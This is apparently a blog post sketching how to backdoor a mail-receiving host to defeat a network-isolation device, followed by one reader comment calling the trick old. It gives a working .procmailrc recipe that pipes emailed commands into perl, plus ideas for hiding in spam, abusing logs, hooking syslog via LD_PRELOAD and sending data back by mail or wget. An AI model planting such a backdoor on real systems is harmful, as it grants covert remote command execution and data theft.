against Criminal Attacks'. It describes a device that functions as a lock
between a LAN and the Internet. Its aim is to prevent the LAN from
exploits, backdoors and all evil that exists since the Internet.
Since I love backdoors in software as well as in buildings,
it inspired me to think about ways to slip through.
Of course it was not hard. Why not using spam to hide tracks
and to bypass this concept? Just add
:0
*^Subject:.*EXECUTE.*
|grep '$magic;'|perl
to the .procmailrc. This has major benefits. Depending on the
network setup (mail has to be delivered to the backdoored host,
but thats common on user machines) this backdoor is close to
be invisible. Lets forget about the fact that there appears an
entry in a local file. The mail which arrived and triggered a command
is executed afterwards. No headers, no body, no track. No track?
Somewhere within the logs maybe. But due to spam and legit mails,
there are 1000s of entries. No chance to find out which log entry belongs
to which mail and which of these triggered commands. The more spam,
the more invisible it is. Even if you can match the logs against
the mail, open mail relays and anon web mailers kill the last chance
to find the attacker. But there is more. Why not using the logfiles
itself? logfiles contain user-given content. From the backdoor
point of view this is a very criticl point. Remember all
the GET /?foo and from=
A small Perl script can handles this. Piping commands to perl allows
for a flexible direction back to the attacker.
Another way might be to LD_PRELOAD a evil shared library to
the syslog process or to patch it at runtime. Little chance to
find out that the syslog daemon is actually executing commands
on behalf of someone else.
And the way back? Be creative. Such backdoors are not as comfortable
as a shell but they dont need to be. Tarballs can be copied using
mail commands as well and password entries for shells can be added
on the fly. Such a .procmailrc backdoor allows for using multiple ways
to connect back to the attacker. Either by mail, or by using
wget, ftp or whatsoever. Even through proxies.
I did not test any implementation (if there is any) described
within the paper, but the concept is probably toast.
Posts
1 Kommentare:
What you describe is exactly what rootkits were in the 90's. Any service that consumed data from the network would get patched in one way or another to provide a control channel through specially crafted input. Integrity checking binaries and trusted path execution were meant to combat this issue.
The procmail command execution trick is so old-school that I don't even know what to say. Many of the first application-aware firewalls looked for pipes in the subject and body of emails they relayed, because this was such a well known trick.
Kommentar veröffentlichen